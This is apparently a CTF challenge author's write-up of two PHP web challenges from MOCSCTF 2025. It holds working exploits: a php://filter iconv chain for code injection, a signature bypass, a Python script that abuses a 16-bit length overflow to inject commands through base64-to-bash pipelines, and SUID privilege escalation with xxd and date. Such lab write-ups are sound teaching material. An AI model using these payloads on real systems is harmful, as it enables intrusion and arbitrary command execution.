MOCSCTF2025 ez-write&&ez-injection

比赛链接:https://mocsctf.com/events.html?id=mocsctf-2025

这次比赛出了两道web,当然,因为这个比赛本来就是给澳门的高中生打的,只是有公开赛赛道,而且公开赛赛道较为抽象,一个人一队,八个小时四十道题,所以我们这边出的题本来也不算太难,可惜感觉还是没多少人来看题,导致我这俩题一道一解,一道零解。后面官方应该会放docker和wp,这里我就讲讲思路了,如果要docker可以找我要。

ez-write

出题思路主要就是我之前的一篇博客,这个月专门隐藏了:老洞新水之复活CVE-2018-9174,主要是就是昨年做实训的时候顺手挖的一个dedecms的洞,因为利用过程比较有意思所以拿出来出了,但整体难度应该不算大,出的时候还专门把反引号都ban了,没想到竟然只有一解。

赛题的代码比较简单:

 <?php
highlight_file(__FILE__);
$filename = $_POST['refiles'] ?? [];
$filename = preg_replace('/[";()`]/', '', $filename);
file_put_contents('tmp.php', "<?php\n\$files = \"$filename\";\n?>");

简单来说,我们可以向一个被双引号包裹了的地方写入代码,不过我们不能使用双引号、括号、分号和反引号,这里用到两个trick,首先,php里如果被双引号包围,我们还是可以使用${ php代码}的方法执行被${}包裹的代码,不过这里由于不允许使用括号和反引号,所以我们只能使用一些没有括号的函数,比如include,这里用到的另一个trick就是陆队The End Of LFI?里提到的一个技巧,利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码,这里最后能打通的payload如下:

refiles=${ include 'php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd'}

接着访问tmp.php即可执行命令:

不过我们直接读flag没有权限:

bash -c '{echo,"Y2F0IC9mKiAyPiYx"}|{base64,-d}|{bash,-i}'

查一下suid,可以想到用xxd读取:

最后直接xxd /f*即可:

ez-injection

这道题出题思路其实是我的另一篇博客:再谈预编译与sql注入,主要就是那篇DEF CON议题,在协议层进行注入,挺有意思的,不知道国内有没有人拿这个出过题。

题目的代码比较简单,就两个php文件:

<?php
#index.php
$Secret_key = "xxxxx"; //一串随机字符

function checkSignature($signature)
{
    try {
        $decoded = base64_decode($signature, true);
        if ($decoded === false) {
            throw new Exception("Invalid base64 encoding");
        }
        global $Secret_key;
        return $decoded === $Secret_key;
    } catch (Exception $e) {
        echo $e->getMessage() . PHP_EOL;
    }
}

function verifySignature($headers)
{
    if (!isset($headers['X-Signature'])) {
        return false;
    }
    $validSignature = $headers['X-Signature'];
    if (checkSignature($validSignature) === false) {
        return false;
    }
    return true;
}

if (!verifySignature(getallheaders())) {
    http_response_code(403);
?>
    <div style="
        margin: 50px auto;
        padding: 20px;
        max-width: 600px;
        background-color: #ffe6e6;
        color: #a94442;
        border: 1px solid #f5c6cb;
        border-left: 5px solid #d9534f;
        border-radius: 8px;
        font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
        box-shadow: 0 0 10px rgba(0,0,0,0.1);
        ">
        <h2>⚠️ 签名验证失败</h2>
        <p>您的请求未通过验证,可能存在伪造行为或签名错误。</p>
    </div>
<?php
    exit;
}

function base64url_encode($data)
{
    return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

function encrypt($data, $key)
{
    $method = 'AES-256-CBC';
    $iv = openssl_random_pseudo_bytes(16);
    $encrypted = openssl_encrypt($data, $method, $key, OPENSSL_RAW_DATA, $iv);
    return base64url_encode($iv . $encrypted);
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $function = $_POST['function'] ?? '';

    $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
    $host = $_SERVER['SERVER_ADDR'];
    $baseUrl = $protocol . '://' . $host;

    $data = '';
    if ($function === 'A') {
        $command = 'date';
        $data = bin2hex('A' . pack('n', strlen($command)) . $command);
    } elseif ($function === 'B') {
        $date = $_POST['date'] ?? '';
        $command = $date;
        $data = bin2hex('B' . pack('n', strlen($command)) . $command);
    } elseif ($function === 'C') {
        $weekdate = $_POST['weekdate'] ?? '';
        $timestamp = strtotime($weekdate);
        if ($timestamp === false) {
            $result = '<div class="result"><h3>执行结果:</h3><pre>无效的日期格式</pre></div>';
        } else {
            $monday = strtotime('last monday', $timestamp);
            if (date('N', $timestamp) == 1) $monday = $timestamp;
            $combined = '';
            for ($i = 0; $i < 7; $i++) {
                $day = date('Y-m-d', strtotime("+$i day", $monday));
                $command = $day;
                $combined .= 'B' . pack('n', strlen($command)) . $command;
            }
            $data = bin2hex($combined);
        }
    }

    if (!empty($data)) {
        $encryptedSource = encrypt('index.php', $Secret_key);
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $baseUrl . '/execute.php');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'X-Source: ' . $encryptedSource,
            'Content-Type: application/octet-stream'
        ]);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, hex2bin($data));
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);

        $response = curl_exec($ch);
        $error = curl_error($ch);
        curl_close($ch);

        $result = $error
            ? '<div class="result"><h3>执行结果:</h3><pre>请求失败: ' . htmlspecialchars($error) . '</pre></div>'
            : '<div class="result"><h3>执行结果:</h3><pre>' . $response . '</pre></div>';
    }
}
?>
<!DOCTYPE html>
<html>

<head>
    <title>功能选择</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 0 auto;
            padding: 20px;
        }

        .container {
            display: flex;
            flex-direction: column;
            gap: 20px;
        }

        .function {
            border: 1px solid #ddd;
            padding: 20px;
            border-radius: 5px;
        }

        input[type="text"] {
            padding: 8px;
            margin: 5px 0;
            width: 200px;
        }

        button {
            padding: 8px 16px;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }

        button:hover {
            background-color: #45a049;
        }

        .result {
            margin-top: 20px;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 5px;
            background-color: #f9f9f9;
        }
    </style>
</head>

<body>
    <div class="container">
        <h1>功能选择</h1>

        <div class="function">
            <h2>当前系统时间</h2>
            <form method="post">
                <input type="hidden" name="function" value="A">
                <button type="submit">执行</button>
            </form>
        </div>

        <div class="function">
            <h2>解析指定日期</h2>
            <form method="post" onsubmit="return validateDate(this.date.value);">
                <input type="hidden" name="function" value="B">
                <input type="text" name="date" placeholder="输入日期 (YYYY-MM-DD)" required pattern="\d{4}-\d{2}-\d{2}">
                <button type="submit">执行</button>
            </form>
        </div>

        <div class="function">
            <h2>解析某日期所在周的每天</h2>
            <form method="post" onsubmit="return validateDate(this.weekdate.value);">
                <input type="hidden" name="function" value="C">
                <input type="text" name="weekdate" placeholder="输入日期 (YYYY-MM-DD)" required pattern="\d{4}-\d{2}-\d{2}">
                <button type="submit">执行</button>
            </form>
        </div>

        <script>
            function validateDate(dateStr) {
                const regex = /^\d{4}-\d{2}-\d{2}$/;
                if (!regex.test(dateStr)) {
                    alert("请输入正确的日期格式:YYYY-MM-DD");
                    return false;
                }
                return true;
            }
        </script>

        <?php if (isset($result)): ?>
            <?php echo $result; ?>
        <?php endif; ?>
    </div>
</body>

</html>
<?php
#execute.php
$Secret_key = "xxxxx"; //一串随机字符

function base64url_decode($data)
{
    return base64_decode(strtr($data, '-_', '+/') . str_repeat('=', (4 - strlen($data) % 4) % 4));
}

function decrypt($data, $key)
{
    $method = 'AES-256-CBC';
    $data = base64url_decode($data);
    $iv = substr($data, 0, 16);
    $encrypted = substr($data, 16);
    return openssl_decrypt($encrypted, $method, $key, OPENSSL_RAW_DATA, $iv);
}

function isValidDate($date)
{
    $d = DateTime::createFromFormat('Y-m-d', $date);
    return $d && $d->format('Y-m-d') === $date;
}

if (!isset($_SERVER['HTTP_X_SOURCE'])) {
    die("非法访问");
}

$source = decrypt($_SERVER['HTTP_X_SOURCE'], $Secret_key);
if ($source !== 'index.php') {
    die("非法访问");
}

$input = file_get_contents('php://input');
if (strlen($input) < 3) {
    die("无效的请求数据");
}

$offset = 0;
$outputAll = [];

while ($offset + 3 <= strlen($input)) {
    $type = $input[$offset];
    $length = unpack('n', substr($input, $offset + 1, 2))[1];
    $command = substr($input, $offset + 3, $length);
    $offset += 3 + $length;
    if ($type != "B" && $type != "A") {
        die("错误的协议格式");
    }
    if ($type === "B") {
        $date = $command;
        if (!isValidDate($date)) {
            die("日期格式错误");
        }
        $command = "date -d " . $date;
    }
    ob_start();
    system($command);
    $result = ob_get_clean();
    echo "<div class='block'><pre>" . htmlspecialchars($result) . "</pre></div>";
}

直接访问页面,会显示签名验证失败,拒绝访问:

直接定位到代码的部分,可以发现签名的逻辑其实是判断你的请求头里是不是带了X-Signature字段,然后用这个字段解码后和$Secret_Key进行比较:

但这里的checkSignature函数以及verifySignature函数的验证配合存在一个严重的逻辑缺陷,checkSignature只是在能正常解码的时候把签名和$Secret_Key进行比较,返回真或者假,而verifySignature只有在checkSignature返回假的时候才退出,否则默认返回真,那么这里我们其实只需要构造一个错误的base64编码,比如@@@,让checkSignature解码错误,那么该函数就会抛出错误,且不会返回假,verifySignature也能正常通过(你可能觉得世界上不会有人这么写代码,但实际上这是某互联网公司的真实代码逻辑):

GET / HTTP/1.1
Host: localhost:9999
X-Signature:@@@
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

接着分析源码可以看出来,这个功能界面其实是有三个功能,后两个功能需要传入一个日期,而功能一什么也不需要传入:

这里index.php和execute.php通过构造的二进制协议进行传输,构造逻辑是:标志字段+命令长度+实际的命令:

在execute.php中会首先判断来源是否是index.php,判断成功后对传入的二进制协议进行解析,若标志字段是A,直接执行命令,若标志字段是B,则会判断传入的命令是否是一个合法的日期格式,判断成功后拼接date -d进行执行,否则退出

这里我们本地抓一下查看日期的包,看一下二进制协议的构造细节:

可以看到传入的二进制数据是:

42000a323031322d31322d3131

其中42是B的十六进制,代表了这次协议的标志B,000a代表了这次请求载荷的长度是10,后面的323031322d31322d3131就是实际载荷2012-12-21

这里我们可以尝试恶意构造一个错误的数据,比如在2012-12-21后面加10个A,可以看到此时的长度就变成了0014,也就是20,这证明我们恶意构造一个比较长的数,这个长度字段确实会随之增长:

只不过后端这里存在校验,判断到你的标头是B,会用你的载荷对比是否是合法的日期,不是的话还是不能执行,除非标头是A才会直接执行,但我们并没有可控点:

但这里有一个很有趣的点,因为发送的长度字段是直接len的载荷,虽然我们的命令不符合日期可能不能直接执行,但我们现在确实能直接控制长度字段的长度。我们回看这个协议,这个 pack('n', strlen($command)) 是什么意思呢?其实是获取$command 这段字符串的长度接着按照16位(2字节)无符号整数打包成二进制数据:

16位也就是我们之前看到的000a,而16位无符号整数其实有上限的,它的上限就是ffff,如果我们再给它加1,它就会变成10000,而经过16位的截断,实际上写入协议的长度就变成了0000。我们不妨做个实验,16位无符号整数的最大值是65536,而本来的载荷2012-12-11的长度是10,理论上我们只要再在2012-12-11的后面加65526个A,那么现在写入协议的长度字段就应该变成0000,而事实也正如我们所愿,它变成了0000:

尤里卡!现在我们已经能任意控制这个长度字段了,我们再回看后端解析协议的逻辑,它其实就是根据这个长度字段解析载荷,然后继续按着类似的逻辑解析下一个二进制协议,直到整个请求解析结束:

那么思路其实已经很明显了,因为只有标头为A的二进制协议才能正常执行,那么我们只需要构造一个标头为A的可以执行命令的二进制协议,将他放在2012-12-11的后面,然后填充A,保证第一个协议截断后恰好是一个合法的以A开头的协议,那么就会成功解析我们的协议并且执行任意命令了!脚本如下:

import http.client
import struct
import gzip
import io
import base64


# 构造头部用到的签名
x_signature = "@@@"


def build_packet(command: str) -> str:
    prefix = b"A"
    length = struct.pack(">H", len(command))
    payload = command.encode()
    full_packet = prefix + length + payload
    return full_packet.hex()


# command2execute = "find / -perm -u=s -type f 2>/dev/null"
# command2execute = "date -f /f* 2>&1"
# command2execute = "cat /f* 2>&1"
command2execute = "ls -al /"

command = (
    "bash -c '{echo,"
    + base64.b64encode(command2execute.encode()).decode()
    + "}|{base64,-d}|{bash,-i}'"
)
HexCommand = build_packet(command)
# print(HexCommand)

hex_part = bytes.fromhex(HexCommand)
prefix = "function=B&date=2012-12-11"
prefix_bytes = prefix.encode()

total_length = 65536

filler_len = total_length - len(hex_part)

# 构造请求体:前缀 + 协议包 + 填充
body = prefix_bytes + hex_part + b"A" * filler_len

# target_url = "localhost:9999"
target_url = "public-chall-2025.mocsctf.com:31001"

# 构造 headers
headers = {
    "Host": target_url,
    "X-Signature": x_signature,
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": target_url,
    "Referer": target_url,
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Fetch-User": "?1",
    "Priority": "u=0, i",
    "Connection": "close",
    "Content-Length": str(len(body)),
}

# 发起请求
conn = http.client.HTTPConnection(target_url)
conn.request("POST", "/", body=body, headers=headers)

# 读取响应
res = conn.getresponse()
print(f"Status: {res.status}")
# print(res.read().decode(errors="ignore"))
raw_data = res.read()
try:
    with gzip.GzipFile(fileobj=io.BytesIO(raw_data)) as f:
        decompressed_data = f.read()
    text = decompressed_data.decode("utf-8", errors="ignore")
    print(text)
except Exception as e:
    print(f"解压失败: {e}")
    print(raw_data)

这里我们直接执行ls -al /,可以发现我们现在没有读取flag的权限,还需要提一下权:

这里我们用find / -perm -u=s -type f 2>/dev/null查一下suid,可以发现date存在suid提权的可能:

不过这里我们如果直接使用date -f /f*在页面上其实是看不到输出的:

回看网页代码里执行代码的逻辑,它其实是读取了缓冲区的结果进行输出,错误信息(我们的date -f执行得到的就是错误信息)通常会输出到标准错误流(stderr)中,而不会写入到标准输出流(stdout)中。

因此要想在页面上看到输出,我们需要把错误信息也输出到缓冲区,最后能打通的payload其实是date -f /f* 2>&1,不过再传POST的时候还需要对&特殊处理一下,否则解析会出错,比如我的exp.py里是直接base64了,最后我们终于可以读取flag了:

回看整题可以发现,出现漏洞的原因其实和编程语言没有关系,纯粹是因为代码的逻辑错误。事实也确实如此,验签那个漏洞本来是出在js上的,协议注入是出在go上,而go没有try catch这种语法,所以最后只能选择世界上最好的语言php出题了。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇